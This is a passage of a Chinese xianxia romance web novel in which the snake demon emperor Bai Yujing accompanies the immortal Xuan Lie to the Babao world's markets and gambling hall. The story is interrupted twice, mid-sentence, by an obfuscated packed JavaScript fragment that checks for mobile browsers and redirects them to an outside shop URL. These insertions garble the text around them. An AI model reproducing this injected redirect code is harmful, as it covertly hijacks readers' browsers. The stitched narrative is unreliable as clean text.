其实在场只有苏九韶一人认得他且知道他的名讳,但眼下这副容貌并非他的真实容颜,苏九韶这姑娘绝对不可能知道昔日妖皇的名讳,更不可能把他和妖皇对上号。 所以,四舍五入就等于在场根本没人认识他,但所有人都认识玄天仙尊玄冽……这岂不是天赐良机? 一瞬间,白玉京的羞恼全部烟消云散,心情立马如柳暗花明般洋溢起来。 他走到玄冽身旁坐下,无比自然地搂着对方的手臂,轻轻往人身上一靠。 原本还在冒充壁画的烬瑜一下子看呆了。 白玉京本就是蛇,此刻故意软下身子,整个人就像无骨一般腻在玄冽身上。 在所有人目瞪口呆的注视下,他捏着自己听了都犯恶心的软声道: “主人唤我何事?” 11.玉镯 “……!?” 在场所有人闻言均瞠目结舌,纷纷震惊地看向玄冽。 传言中肃杀果断的仙尊,这这在做什么? 有些弟子甚至连恐惧都顾不上,不断地把神识往两人身上扫去。 白玉京经过先前那通思考后彻底放下了颜面,反正又没人认识自己,丢人也丢的是玄冽的人,他怕什么。 于是他就那么泰然自若地任由苏家人打量,心下甚至还泛起了一股幸灾乐祸。 ——这事闹得越大越好,最好把仙尊好色连幼蛇都不放过的名声传到九界诸天,让那群正道的牛鼻子都看看这臭石头是什么德行。 不过,相较于苏家子弟单纯的惊愕,苏千堂的心情就沉重多了。 仙尊对此蛇如此溺爱,那当时亲手将蛇鳞献上的苏家…… 白玉京假装没看到苏千堂吃黄连一般的脸色,装傻充愣地问玄冽:“仙尊方才和他们在聊什么呢?” 他装娇憨的本事确实出神入化,甚至都不像装的。 玄冽道:“聊你徒弟的事。” “沈风麟?”白玉京挑了挑眉,“聊他那个白眼狼废物干什么?他不是已经被您裁决了吗?” 不分青红皂白直接动手,居然能被颠倒黑白成“裁决”,怪不得仙尊一下子就被迷得神魂颠倒了,这小蛇妖还真会献媚。 苏家某些人忍不住在心中腹诽到。 听闻白玉京的质问,玄冽道:“本尊在找一件和他有关的东西。” ……这冷面王八蛋原来还藏了一手,昨晚他可没说要找什么东西。 白玉京心下磨牙,面上端出一副贴心模样,忍着恶心撒娇:“仙尊要寻的是何物?和我说说嘛,说不定我也能帮上忙呢。” 苏九韶:“……” 她跟见鬼一样看向白玉京,一时间连为自己哀默都顾不上了。 玄冽却神色如常道:“应当是一枚种子,但外形具体为何,暂不可知。” ……种子? 白玉京骤然抬眸,刚好对上玄冽深不见底的双眼。 他心下猛地一跳。 怎么又是种子?难道这也是青羽告诉他的?天底下真有这么巧的事? 数不清的疑惑浮上心头,正当白玉京心思百转,不知道该如何回答之际,玄冽垂眸看向他,似是话里有话:“你既是妖修,可认识灵植类的大妖?” 白玉京:“……” 他从小和灵植类的妖修就不和,如今唯一相熟的灵植类大妖正在隔壁世界坐镇。 眼下事出紧急,他自己的颜面倒显得没那么重要了,直接把江心月唤来,几人开诚布公尽快找到仙种,似乎才是上上策。 但,他该相信玄冽吗? 玄冽怎么知道仙种一事的?万一青羽根本没和他说过那些话呢? 万一……玄冽和沈风麟身上那东西,本质上一样呢? 此念头一出,白玉京蓦然打了个激灵,心下泛起了一股没由来的抵触之情。 多种情绪交织在一起,最终,他松开玄冽的衣袂,低头攥住了自己的袖子:“我从小和灵植不睦……没什么灵植朋友。” 玄冽闻言一顿:“为何不睦?” 这王八蛋是八卦石成精的吧? 白玉京在心头将他骂了个狗血喷头,不过好在他这回找的借口并非全是假话,玄冽问起来倒也好圆。 “我还是条幼蛇的时候,不会化形,那些灵植总喜欢欺负我。”白玉京如实道,“尤其是藤蔓类的灵植,总喜欢把我编进枝蔓里当装饰。” 苏九韶:“……” 苏家子弟:“……” 苏家子弟纷纷忍俊不禁,唯独苏九韶则忍不住多看了白玉京两眼。 ——这个对着玄冽说话跟撒娇一样的小美人,当真是那个桀骜不驯的白玉京吗? 难不成……玄天仙尊对他用了什么篡改常识的手段? 玄冽并未和其他人一样笑他,反而拍了拍白玉京的手腕:“以后不会再有人欺负你了。” 白玉京一怔。 玄冽说完话后,却为手上传来的触感一顿,随即低头看向白玉京空空荡荡的手腕。 这人向来喜欢金银珠宝,兴致来了恨不得挂满身,却唯独没有一个像样的镯子,因此细白的手腕在华贵的布料下,被衬得有些素净。 玄冽就那么旁若无人地盯着蛇妖的手腕看了良久,似乎白玉京手腕上光.裸无物是什么天大的事情一样。 一片静谧中,苏千堂实在待不下去了,硬着头皮拜道:“晚辈们先行告退。” “等等。”白玉京蓦然回神,抬眸道,“九韶姑娘近些日子可有事情?” 苏九韶一怔,张了张嘴才找到颤抖的声线:“……晚辈无事,前辈有何指示?” “我来了月华小世界后,一直在壶里待着,还没好好逛过这个世界。”他笑了一下,扭头看向玄冽,“仙尊若是要寻那种子,不如就从此世界寻起,依我看,就让九韶姑娘做向导如何?” 苏九韶:“——!” 她的心脏一下子提到了嗓子眼,不可思议地看向白玉京。 玄冽不用读心术,就知道这蠢蛇想干什么——他怜惜幼崽,碰到个蚂蚁都恨不得捡回家养两天的老毛病又犯了。 玄冽头也没抬,没说答应也没说不答应,只是淡淡道:“回去收拾一下,明日过来。” 他虽未指名道姓,但在场所有人都知道他说的是谁。 “……是。”苏九韶深吸了一口气,肺中涨得生疼,险些哭出来,强忍着颤抖拜道,“多谢前辈,晚辈领命。” 是夜,逍遥池内。 雪白的蛇尾从水下探出,乖巧地圈在玄冽手腕上,它的主人则懒懒地靠在玄冽肩头:“白日还要多谢仙尊成全。” “九韶其实是个好姑娘,只是被沈风麟那白眼狼骗了。” 以白玉京五百年捡孩子的经历来看,他每次都能说出一大堆不得不捡的理由,但最终的结果都不尽如人意。 玄冽原本对他阐述的理由左耳进右耳出,但听到这里,他却突然睁开眼,垂眸看向怀中人。 “……?” 白玉京仰起脸,有些不明所以地和他对视。 眼下这条蛇抱在手里的重量、手感和气息都没有变,和本体完全一致,若非灵族天赋和某种手段,哪怕是玄冽也看不出这是他的身外化身。 只用一片蛇鳞便能偷天换日,完美无瑕到几乎看不出异样。 妖皇之名,实至名归。 便是自己想要违背他的意愿强留下他,恐怕也要付出不少代价,还不一定有十成把握可以成功。 ……还是要循序渐进。 “怎么了,仙尊?”白玉京仰脸,装作无辜地看向他。 蛇妖天生体温就低,温泉把他的脸泡得泛起了粉意,但他却依旧不愿撒手,执意要和玄冽一起泡到底。 显然是有所图。 不过玄冽却并不在乎,看着手腕上被热到泛着粉意的蛇尾,他反而想起了另一件事。 此刻,白玉京的本体会不会也与他的身外化身一样,产生相同的灼热感? 玄冽突然想掐下他的尾尖,看看这人和本体到底是否会有共感。 不过最终他什么都没做,只是抬手将小蛇的头按在肩膀上:“无事,闭眼。” “……哦。” 白玉京乐得清静,闻言听话地闭上了眼。 万里之外,荒玉群山。 白玉京的本体站在巨石之上,面无表情地垂眸看向某处泉水——那是他拔出鳞片,并将其交给沈风麟的地方。 身后的石笋向下滴着水滴,水滴落地成冰,缓缓汇作一捧晶莹剔透的冰莲,在月色下璀璨夺目。 成型的冰莲泛起一阵彩光,光晕褪去后,身着蓝袍的女子立于原处,低头拜道:“属下江心月,参见吾皇。” 霜华妖王江心月,本体极川冰莲,伴生灵草九彩望月莲。 沈风麟结丹时,单十万年份的九彩望月莲,白玉京就给了他五株,其他灵草更是不计其数。 ……想起此事,白玉京站在江心月面前便有些莫名的心虚。 “免礼。”他摸了摸鼻子,转身看向对方,“起来吧。” 江心月和三千界传闻中冷血的极北帝君并不相同,她上下打量了一下白玉京,掩面温和笑道:“苍骁日日冷着脸,念叨着吾皇已逝,我等护主无功,不若就地散魂,我却说未必。如今看来,吾皇果然洪福齐天。” “本座怎么可能会死在那臭石头手下。”白玉京一收白日做小伏地的温顺模样,往身后的巨石上一靠,“那蠢狗既日日说些丧气话,你们也不知道教训教训他。” “他也是担心则乱,不过狐狸已经骂过他了。”江心月替狼王解释道,“吾皇如今唤来属下,可要准备归位之事?” 白玉京摇了摇头:“此刻尚不是时候。” 江心月一怔,略有不解:“那今日唤属下来是……?” 白玉京直截了当道:“你既是灵植出身,又有万木乾坤,辛苦你去替本座寻一枚种子,事出紧急,务必尽快。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750567|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “种子?”江心月蹙眉道,“敢问是什么样的种子?” 白玉京垂眸思索了片刻,随即学着玄冽的样子,高深莫测道:“你见了自然就会知道。” 江心月欲言又止,但最终还是答应道:“……是,属下明白了。” 白玉京有心想问这十年来,其他三位妖王的状况,然而话到嘴边他却一顿——不对,得尽快回去了。 灵族空心且无魂,无法炼制身外化身,因此他们天生对这些东西十分敏感。 察觉到玄冽垂眸打量他的情形,白玉京心头一紧,捡着重要之事长话短说:“你们灵植,何时才会向其他小世界掷下种子?” 江心月思索了一下道:“一般为不能到,或者不方便被小世界中人知晓时,才会掷下种子,以做化身,代为行事。” 说完她又补充了一版更通俗易懂的说法:“比如属下目前的情况。” “……” 白玉京抬眸看了眼高悬的明月。 所以仙人也有不能到的地方吗? 那飞升到底是福,还是祸? 月圆如盘,皎洁异常。完美虚假的星空下,白玉京突然产生了一股错觉,好似一个怪异的,可能超出所有人预想的真相,正在被他缓缓揭开。 然而就在他限于情绪之中无法自拔时,一阵难以言喻的刺激感却让他蓦然回神,瞬间变了脸色。 ……那王八蛋又在往他尾巴上胡乱套什么东西?! 江心月眼看着她尊敬的妖皇陛下突然一僵,随即脸色骤然变红,起身就要离开:“本座该回去了,吩咐你的事情尽快去办。” 回哪里不言而喻,江心月闻言终于忍不住道:“吾皇,玄天仙尊若是强留您在身边,属下——” “什么叫他强留于我?分明是本座留他!”此话一出,仿佛被踩到尾巴一样,白玉京恼羞成怒地拂袖道,“此事不必你等插手,本座留他在身边自有大用。” 江心月闻言面色有些微妙,似是在看自己往锅里跳,还不自知的羔羊。 但她最终没说什么,低头应道:“是,不过属下还有一事想提醒您。” “就灵植而言,若我们当真不愿让人知晓,我们所投的种子可做到与普通种子无异,故而在三千界中寻找一枚灵种,此事无异于大海捞针。” “陛下吩咐之事,属下这边自当全力以赴,不过若您急于寻找,不如先去八宝小世界撞撞运气。” 白玉京闻言蹙了蹙眉,显然听都没听过什么八宝小世界。 江心月解释道:“八宝虽是小世界,但它联通诸界,其中的天宝阁素有天下第一拍卖坊的美誉,陛下若有心,可与仙尊一同过去看看。” 白玉京自幼长于大世界,就小世界之事确实不如江心月了解,闻言思索片刻后便点了点头:“好,本座知道了,回去便让他准备启程。” 听到对方居然没否认“和仙尊一起”,反而还说“回去便让他准备”,江心月若有所思地低下头,再抬头时,白玉京已经不见人影了。 所以陛下留仙尊在身边到底有什么妙用呢? ……侍寝吗? * 白玉京于泉水中睁开双眼,垂眸看向自己尾尖上被人箍上去的红玉镯,脸色难得染上了几分羞意。 方才温泉之内,他怕玄冽看出身外化身的异样,便腻着对方讨要东西,企图转移对方的注意。 “仙尊白日时,当着那么多人面摸我手腕干什么?”他故意把自己光洁的手腕递到玄冽面前,几乎是明示道,“您不能白摸呀。” 他原本想着,玄冽这辈子恐怕也没遇到过这种直截了当管他要东西的三流货色。 恼羞成怒之下,说不定直接就把他的分身给打杀了,也算全了他一桩心愿。 未曾想那人不但不恼,反而不知道从哪当真变出来一个鲜艳欲滴的玉镯。 只是最终那玉镯没套在白玉京的手腕上,反而套在了他的尾巴上。 鲜艳如血的玉镯不知道是用什么材质制成的,透着股微妙的炙热,卡在雪白的蛇尾末端处,莫名挤出了一点微微的肉感。 ……中看不中用的老流氓,花样还挺多! 白玉京面似滴血般骂了一句,连忙摘下玉镯戴在手腕上。 他匆匆化出双腿,换了衣服裹了裹衣襟,起身便向苏家为玄冽准备的寝殿走去,准备去找茬。 然而,刚到寝殿外,他便听到殿内传来议事的声音。 白玉京脚步一顿,摩挲着新戴上的玉镯眯了眯眼——谁半夜三更没事来找这尊煞神? 12.八宝 白玉京懒得多想,直接抬脚走进寝殿。 原本正在谈论正事的烬瑜刹那间宛如鹌鹑一样变得鸦雀无声。 白玉京看都没看他一眼,走过去一屁股坐在玄冽身旁的软垫上,拉着对方的衣袖晃了晃:“仙尊——” 玄冽扭头看向他,却见夜色之中,殿内光影摇曳,故意换上寝衣的小美人腻在他身旁。 未干的发梢垂在胸口,艳红的手镯歪歪斜斜地戴在手腕上,活像个被骄纵到无边的美人,就差当着烬瑜面把尾巴也挂在玄冽手腕上了。 既然玉镯已经从尾巴上取下,想来,便是本体已经归位了。 玄冽不动声色道:“何事?” “我听闻八宝小世界中的拍卖会,素有天下第一拍卖会的名头,故而想去长长见识。”白玉京把捞东西说得坦坦荡荡,搂着他的手臂,软在上面撒娇道,“仙尊陪我同去好不好?” 他挽着玄冽的动作无比自然,仿佛做了成千上万遍一样。 烬瑜见状连忙不动声色地往后退了两步,想假装自己只是墙壁上的一朵雕花。 然而他一动,白玉京的目光跟着便投了过来。 烬瑜呼吸一滞,那小蛇好似才看到他一般,笑盈盈地打招呼:“原来烬宗主也在,眼下夜色深重,宗主不如留宿一宿,明日再走如何?” “不不不,”烬瑜冷汗直冒道,“宗内还有其他事务需要处理,故而特来和仙尊相别。” “原来如此。”白玉京笑容一下子更真切了,“那还请宗主一路小心,恕不远送。” 言下之意赶快滚蛋,别耽误本座捞钱。 烬瑜擦了擦汗,不敢想白玉京要是知道自己早已知晓他的身份,会不会一怒之下把他吞吃入腹。 他甚至可以预见,如果真有那么一天,玄冽绝对不可能出手救他。 ……要不还是尽快跑路吧,眼下少知道一点内幕,到时候妖皇说不定会开恩放他一马。 烬瑜在心底给自己捏了把汗,连忙行礼告辞。 碍事之人终于离开后,白玉京搂着人的手扭头便道:“我刚刚跟你说话呢,仙尊。” 他一开始撒娇纯粹是为了恶心玄冽装的,但装得多了之后,反而很快找回了幼时腻在人怀里摇尾巴的感觉,一下子便轻车熟路起来。 玄冽一手搂着他的腰,一手倒了杯茶推到他面前,对他的提议却不置可否:“白天你还说想在月华小世界游玩。” “大半夜的谁喝茶。”白玉京嫌弃地推开茶盏,听到玄冽的质问,当即理直气壮道,“那不是临时改主意了嘛。” “谁让仙尊送的镯子这么好看,我储物戒里都没几件能配得上它的法袍。” 玄冽闻言垂眸看了一眼蛇妖拽在自己衣服上的左手,挂了红玉后,那截素净到可怜的手腕摇身一变,一下子雍容华贵起来。 确实还是眼下更赏心悦目一些。 玄冽收回视线,端起白玉京嫌弃的茶水,仰头一饮而尽。 白玉京仰头看着他的喉结,耐着脾气等了半晌,终于听那人开口道:“依你。” 白玉京闻言一下子笑逐颜开,但他偏偏得了便宜还要卖乖:“怎么这点小事还要考虑这么久?早答应我不就好了。” 说着,他腻在玄冽肩膀上,低声埋怨道:“我都等饿了……” 玄冽放下茶杯,垂眸看了他一眼,随即抬起右手随意一扯,衣领敞开,露出了青筋微露,肌肉紧实的脖颈。 白玉京一下子看懂了他的明示,忍不住吞了吞口水。 玄冽拍了拍身旁人的腰,白玉京立刻从善如流地起身,搂着他的脖子,乖巧地坐在他腿上。 玄冽垂眸看着寝衣之下,那人因为饥饿与渴望而忍不住颤抖的腰线,过了足足半晌才低声命令道: “可以咬了。” * 第二日,苏九韶站在寝殿外,身后还跟着两个苏家子弟,那显然是苏千堂派来监视她的。 毕竟如果她再次惹怒蛇妖,引得仙尊震怒,对苏家来说后果恐怕不堪设想。 苏九韶连夜对月华小世界的风土人情做足了调查,然而刚到殿前站定,还没等她酝酿该怎么开口,便听玄冽言简意赅道:“行程有变。” 苏九韶一怔。 “我听闻八宝小世界的拍卖会久负盛名,所以想去看一看。”白玉京挽着玄冽的胳膊解释道,“不好意思,九韶姑娘。” “不不,前辈不用道歉。”苏九韶回神连忙道,“我娘乃八宝出身,故我对八宝还算熟悉,前辈尽管游玩便是,其余事项包在我身上。” 白玉京没想到世界上居然有这么巧的事,眼前不由得一亮:“是吗?那便麻烦姑娘了。” 是日,八宝小世界,朱雀传送阵柳宿门。 据苏九韶在路上所说,八宝小世界所有传送阵都是悬浮阵。 众人做好了心理准备,但直到出了柳宿门他们才发现,原来不止是传送阵,整个八宝小世界就是一座悬浮在空中的云顶世界。 无数宏伟恢宏的空中楼阁错落有致地立于云端,从云层的缝隙中向下看去,皆是深渊与虚无,竟看不到丝毫地面的迹象。 白玉京挑了挑眉:“此方世界居然是处乾元之境。” 跟随苏九韶而来的一个名叫苏九华的男修忍不住问道:“何谓乾元之境?” “乾坤相对,有乾无坤者,名曰乾元,比如此方世界。”白玉京解释道,“而有坤无乾者,则名曰坤元,比如九幽大世界便是三千界中最负盛名的坤元世界。” 那苏家子弟未料到他一个蛇妖竟有如此见识,不由得一顿,看向他的目光也变了些许,染上了几分钦佩。 楼阁之间的云隙中,挤满了或腾云或御剑的修士,整个小世界肉眼可见的繁华兴盛。 白玉京确实没来过这种小世界,一时间也算新鲜,于是拽着玄冽到处游览起来。 苏九韶跟在两人身后,整个人还陷在劫后余生的庆幸中,颇有些踩在棉花上的漂浮感。 她原本根本不敢直视玄冽,可如今略有走神,一不小心便看见对方扭头看向白玉京,衣领之下,露出了一截紧实有力的脖颈,以及……两个圆圆的牙孔。 那伤口细小圆润,并无血迹和其他撕咬的迹象,显然不是人的牙齿能留下来的。 苏九韶一个激灵,突然意识到了什么,略显不可思议地睁大眼睛。 若是蛇身咬的还好,但若是人身去咬,岂不是要坐在怀里,搂着脖子…… “九韶姑娘。”白玉京突然回头道。 苏九韶猛地回神,做贼心虚般连忙道:“前辈何事?” “我听闻八宝小世界久负盛名,但这路边的摊子……”说话间,他眼底闪过了一丝不加掩饰的嫌弃,“怎么看起来都成色一般?” “外面的摊子不必缴纳额外灵石,也无人验收,全凭买者眼缘,所以有些鱼龙混杂。”苏九韶解释道,“前辈若想寻品阶再高一些的法器灵丹,可以去拍卖阁看一看。” “拍卖阁分为天地人三类,不同阁内的拍卖要求不一样,开放时间也不同,不知道前辈具体想去哪一个?” 白玉京一边拽着玄冽继续往前走,一边若有所思道:“天地人……那就是天宝阁最好了?” “正是,不过天宝阁尚未开启,要在每月的——”苏九韶还想介绍天宝阁的开启时间,话说到一半,却一下子顿住了。 却见白玉京突然停在一处摊位前,随手从腕间的玉镯中拿出了一兜上品灵石,抛给摊主道:“你的东西我全包了,够不够?” ——白玉京手腕上新戴的红玉镯居然是储物镯,自己之前怎么没见他戴过? 苏九韶一怔,突然意识到什么一般,蓦然看向玄冽。 “够了够了。”那摊主受宠若惊,立刻起身道,“多谢这位道友。” 顶着周围人震惊的目光,白玉京一挥手,将那摊子上的东西全部装进了玉镯内,而后搂着身旁人的胳膊继续向前走去。 他就这么如法炮制地一连包了几个摊子,才终于后知后觉停下脚步,扭头看向身后半天没有言语的苏九韶:“九韶姑娘……?怎么了,你不是说撞眼缘吗?” ——那也不该是这样的撞法啊,祖宗! “没、没什么。”苏九韶忍了又忍还是没忍住,“这镯子晚辈没见您戴过,敢问是……?” “这个?”白玉京举起手腕晃了晃,“仙尊昨晚送我的,他嫌我手上太素。” 苏九韶:“……” 那迟钝的美人并未察觉到自己刚说出的话有什么不对:“所以天宝阁什么时候开启?” 苏九韶连忙回神道:“天宝阁每逢初一十五开启,这个月的话,应当是两天后。” 白玉京点了点头,随手从镯子里拿出一枚果子,正准备吃,扭头看见一处人声异常鼎沸的浮空画舫:“那座船又是什么地方?” 言罢他把果子送到嘴边,还没咬便被气味酸得蹙眉。 蛇类天生对气味异常敏感,白玉京未化形时,眼睛其实不怎么管用,分辨许多事物靠的都是气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755509|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味,这种习惯一直保持到了现在。 他皱了皱眉,抬手把果子递给玄冽,睁着眼睛说瞎话般撒娇:“仙尊,你尝尝甜不甜。” 玄冽一言不发地咬了一口,眉头连半分都没皱。 ——没劲的石头。 白玉京见状无趣地撇了撇嘴,抬手直接把果子整个塞在对方嘴里。 酸不死你,本座让你装。 苏九韶硬着头皮装没看见:“那里是如意坊,算是八宝内最有名的赌坊。” “哦?”白玉京扭头道,“寻常赌坊不足为奇,这如意坊为何如此出名?” “因为……”苏九韶顿了一下道,“此处什么都能赌。” 白玉京一下子来了兴致:“除了灵石还能赌什么?” “灵石在这里是最不重要的筹码。”苏九韶神色不知为何冷淡了几分,“秘境线索、遗迹消息、奇珍异宝、甚至——” “灵族的灵心,妖族的美梦,人族的来世……在这里,都可以作为筹码摆上赌桌。” 白玉京挑了挑眉道:“听起来,九韶姑娘似乎对如意坊十分熟悉。” 苏九韶却略微苦笑了一下:“是挺熟悉的。我娘年轻时曾是天宝阁的女修,后来——” “她在如意坊的风月局中,把命输给了我爹,再之后,她便嫁到月华小世界,生下了兄长和我。” 白玉京一怔,但苏九韶很快便恢复如常道:“不过如意坊每日放出的名额有限,我等下去给前辈申请进出令牌,明日便可进去游玩,前辈可以先和仙尊大人在城中逛逛其他地方。” 白玉京闻言心下有点痒。 外面这些破摊子有什么好看的,要玩就玩点新鲜的。 区区一个小世界的赌坊而已,说得再怎么天花乱坠,他其实也有本事混进去。 但……要是当着玄冽的面用什么障眼法,以这石头的心机,他恐怕不出三息就要被人认出来。 正当白玉京既不愿意走,又不知道该怎么办时,一只熟悉的手递到了他面前。 白玉京一怔,抬眸看向面前人。 “缠上来。”玄冽淡淡道,“我带你进去。” ……这人真的是玄冽吗?对他纵容得有点过头了吧? 白玉京心下蓦然间好似被撞了一般,泛出了一股说不出的滋味。 ……罢了,无事献殷勤,非奸即盗,这人肯定没安好心。 他心下如此腹诽着,面上则抿了抿唇,矜持地牵上了对方递来的手。 光晕缓缓从他身上荡开,片刻后又逐渐散去,一只雪白漂亮的幼蛇翘着脑袋卷在了玄冽的手腕上。 让白玉京没想到的是,那红玉手镯居然能随着他的体型一起缩小,眼下差不多变成戒指大小,刚好卡在他的小腹处。 那位置实在过于微妙,不像是玉镯也不像是玉戒,反而像是主人故意设计后,专门为了戴在那处的玉环。 “……” 苏九韶欲言又止地看了良久,最终没敢吭声。 玄冽一手托着小蛇手链,带着几人刚进如意坊,门口的管事便热情地迎了上来。 对方满脸堆笑,直呼几人为贵客,事无巨细地把坊内规矩讲述完毕后,他拿来了三张象征着天字身份的面具,示意三人戴上。 于是,四人就这么轻而易举地进了赌坊。 相较于一锤定音的拍卖会,和外面鱼龙混杂的小摊,如意坊给足了赌局双方博弈的机会,显然更加“平等”。 白玉京就那么被玄冽托着,在坊内新奇不已地转了好一会儿,才终于回味出一点不对劲,随即陡然发现自己好像被骗了。 苏九韶和剩下那两个苏家人明明也和他一样没有预约,但玄冽却可以光明正大地带着他们几个进来……所以这王八蛋根本就不是纵容他,而是为了哄他变成原形盘到他手上去! 方才那一点动容荡然无存,白玉京瞬间被气得七窍冒烟,恨不得当场咬人。 然而就在他恼羞成怒地张开嘴准备咬下去时,苏九韶的神识传音却突然在他耳边响起:“前辈,你看那边,那是不是你的玉蛇佩……!” 白玉京闻言一怔,合上嘴从玄冽袖中探出头,顺着神识所指的方向看向远处。 只见箴言区旁,站着一群戴了面具却没上桌的人,似乎正在商议着什么。 其中一个人手上,用红绳坠着一枚玉蛇长生坠。 小蛇仰着头和玉蛇遥遥相望,几乎是瞬间,他便认出了那人是谁。 ——流明他们怎么会出现在这里? 13.赌局 经沈风麟一事后,白玉京对那玉坠着实没什么依恋了,见状第一反应是看向周围。 流明既然在这里,那他身旁那几个戴着面具又变换了气息的男女是谁便不用猜了。 白玉京又探出了一点头,正准备继续打量时,玄冽竟抬脚向那群人走了过去。 等等等等,这人打算干什么?他之前不是还说不能打草惊蛇吗? 那几人显然正在用神识交流,看到玄冽过来,不约而同停下动作,扭头警惕地看向来者。 此人戴着极具压迫感的黑金面具,显然是如意坊的天字顾客,说不定知道些什么。 流明见状迟疑了片刻后,主动开口道:“道友可是打算邀赌?” 玄冽直接了当道:“赌你手上的玉坠。” 白玉京一怔。 流明闻言亦是一顿,低头看了眼手腕上的玉坠:“可以,不过道友打算押什么?” 玄冽不语,抬手从腕间小蛇的红玉环中取出一瓶极品回魂丹。 白玉京不自在地卷了卷蛇腹,暗骂这人怎么把东西送出去了还随意取用,能不能有点送东西的道德! 流明一众见状呼吸一滞,目光不约而同地灼热起来。 ……这空心的石头还是这么会拿捏人性,白玉京一边腹诽一边生出了几分猜测。 他们既然能对回魂丹起这么大反应,应当不是为仙种而来,而是为救沈风麟而来的。 想到这里,白玉京在玄冽袖子里打量了一下周围的环境。 根据方才接引人的介绍,如意坊根据赌局形态的不同,分为不同区域,这边应当是箴言区。 箴言区的规则很简单,赌局双方相对箴言石而坐,对弈过程中向彼此提问,面对提问时,所言必为真,否则判输。 这一种赌局实际上赌的是各自拿捏人性的本事,考验的是哪一方能尽快找到对手的弱点。 但同时,据苏九韶先前透露,这种赌局实际上也是八宝内常用来打探消息的手段。 若是双方确定彼此之间有自己需要的消息,可能会不急着结束赌局,互相点到为止交换消息,直到一方或双方都满意为止。 因此,流明这群人站在此处久久不愿离去,大概率是来此打探消息的。 至于打探的到底是什么消息……等下待玄冽一问便知了。 想到这里,白玉京在袖子里舒舒服服地找了个位置靠着,打算看戏。 流明应当是在用神识和其他几人交流,片刻之后,他便侧身示意道:“好,道友请。” 两人进了最近的天字雅间,于金色的箴言石两侧对弈而坐。 玄冽扫了一眼桌上的箴言石,示意流明先手。 从始至终他只说了一开始的那句话,整个人透着股目中无人的冷漠感。 流明因修行不佳,对他人的态度十分敏感,见状心下不由得升起了一丝不快。 不过他沉吟片刻,开口时依旧冷静,没有直接显露真实目的:“敢问道友为何而来?” 玄冽道:“为讨人欢心。” 箴言石未亮。 流明见状在心底松了口气,随即又升起一股嘲讽,这人看着高深莫测,原来只是个为讨娇妻欢心的庸人。 白玉京闻言突然感觉脸颊有点热,忍不住晃了晃脑袋,却被人按着头顶止住动作,随即传来玄冽的声音:“你为何而来?” ……这讨人厌的王八蛋! 流明顿了一下,似是想到有面具遮掩,无人认出,竟直接道:“为救主而来。” 果不其然。 白玉京被人按着脑袋,扁扁地贴在玄冽手背上,脑海中思考着沈风麟到底在不在那群人中。 不过很快他便得出了结论——沈风麟应该不在那群人中。 若他当真有能力从玄冽手下全身而退,先前也就没必要遮遮掩掩了。 白玉京正扁扁地思索着沈风麟根骨尽碎,到底为何能活下来时,突然一僵,随即不可思议地睁圆了眼睛。 玄冽这下流的石头……当着外人面没事乱摸什么!? 骨节分明的手指顺着蛇头一路往下,拨开玉环,熟稔地摸上那截缺失了两枚鳞片的丰腴蛇腹。 然而,玄冽刚摸上去便不由得一顿,意识到那处为何缺失鳞片后,他的脸色一下子沉了下去。 “……” 白玉京浑身发颤,整条蛇险些被人摸得直接昏过去。 那处本就脆弱,此刻又没有鳞片遮盖,难以言喻的刺激让他阵阵发一白,回过神时,那丢人的蛇腹竟已经无意识地翻了过来,像个同主人撒娇的幼猫一样,亲昵地往玄冽手上蹭。 白玉京登时被自己的身体气了个七窍生烟,恼羞成怒中张嘴便咬,瞬间就在玄冽的手腕上开了道口子。 玄冽好似没有痛感,反手卡住他的嘴,强迫他张着,随即勾着小蛇的舌头把玩起来。 伤口处的鲜血顺着指尖淌进口腔,白玉京正准备勃然大怒,却被熟悉的美味一下子灌懵在了原地。 血?这石头怎么会流血? ……不对,是心头血。 玄冽为什么还有心头血?昨天晚上自己吃了那么久难道还没把他榨干吗? 白玉京心头骂骂咧咧,面上却很快便被口中滚烫鲜美的味道给蛊惑了。 小蛇迷迷糊糊地含着手指吮吸起来,连带着绷紧的腹部也缓缓舒展开来,无意识地贴上那人冰冷坚硬的手臂。 好好吃……好像有点上瘾…… 赌局之上,玄冽一连抛出了几个问题,大致确认了这些人来此的目的,可流明却未能从他嘴中得到任何有用的消息,不由得有些急躁。 白玉京吃饱后刚勉强恢复了些许理智,便听流明沉下声音道:“敢问阁下种族为何?” 玄冽:“灵族。” 白玉京忍不住在心下蹙了蹙眉,不明白流明问这种不着边际的问题是为了什么。 回答结果为真,箴言石没有发亮,玄冽道:“你所需要的东西是什么?” 流明:“是一种极物。” 五相金木水火土,分别对应五种极物——玄铁、建木、弱水、离火和息壤。 而沈风麟为单火灵根,他所需之物,要么相生要么相克,无非离火与弱水两种。 流明顺着话便道:“阁下手中可有五相极物?” 玄冽:“并无。” 白玉京一怔——玄冽给他的镯子里存了恐怕有整整一个海子那么多的弱水,其他四相极物的数量也无比可观。 这人睁眼说瞎话箴言石怎么没反应,难道他和箴言石是亲戚,所以能瞒过箴言石? ……不对。 白玉京突然意识了一种可能,一下子大脑有些发懵。 送出去的东西理论上不算玄冽所有,所以如果他把所有极物都放在那枚玉镯之中的话,确实不能算他说谎。 可那玉镯中存的东西足足有几个小世界那么多,白玉京根本没细看,照这么推测,那其他东西该不会—— “……” 小蛇一下子沉默了,连带着方才的羞恼都淡了几分。 